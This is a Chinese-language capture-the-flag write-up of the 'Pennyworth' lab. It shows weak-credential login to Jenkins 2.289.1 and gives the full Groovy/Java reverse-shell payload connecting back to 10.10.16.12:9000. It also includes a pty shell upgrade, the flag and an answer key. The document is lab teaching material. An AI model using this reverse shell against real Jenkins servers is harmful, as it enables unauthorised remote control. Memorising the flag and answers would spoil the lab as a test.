前言

• 各位师傅大家好，我是qmx_07,今天给大家讲解Pennyworth靶场
  

渗透过程

信息搜集

• 服务器端口开放了8080http端口

访问网站

• 服务器使用jenkins cms系统，版本是2.289.1
  
  
• 通过弱口令爆破，账户是root,密码是password

通过命令执行nday 连接会话

• https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76/revisions
  
• 通过这篇jenkins的命令执行exp进行回连
  

String host="10.10.16.12";
int port=9000;
String cmd='/bin/bash';
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

• 本地机器监听端口连接，服务器远程请求，连接成功
  

python3 -c 'import pty;pty.spawn("/bin/bash")'

• 启动一个交互式的shell进程
  
• flag:9cdfb439c7876e703e307864c9167a15

知识点讲解

• poc:验证服务器特定漏洞是否存在，修补安全漏洞
• exp:根据已知的漏洞来攻击目标系统或者程序，比如获得敏感信息，或者获得对方的系统控制权
• cve:CVE（Common Vulnerabilities and Exposures）是一个用于标识和跟踪计算机安全漏洞的标准化命名系统。通过为每个已知的漏洞分配唯一的标识符，CVE 提供了一种方法来共享并协调漏洞信息和修补程序

答案

• 1.CVE全称是什么？

Common Vulnerabilities and Exposures

• 2.CIA在网络安全的关键词是什么?

confidentiality, integrity, availability(机密性，可用性，完整性)

• 3.8080端口运行的服务版本是？

Jetty 9.4.39.v20210325

• 4.jenkins版本是什么?

2.289.1

• 5.jenkins允许执行什么脚本？

Groovy

• 6.windows的控制台是什么？

cmd.exe

• 7.linux用什么来查询ip信息？

ifconfig

• 8.netcat用什么来开启udp传输？

-u

• 9.目标主机连接本地机器 的术语是什么？

reverse shell（反向连接）

• 10.flag?

9cdfb439c7876e703e307864c9167a15

总结

• 介绍了通过查询cms，查找cve，exp漏洞连接会话，以jenkins cms 进行演示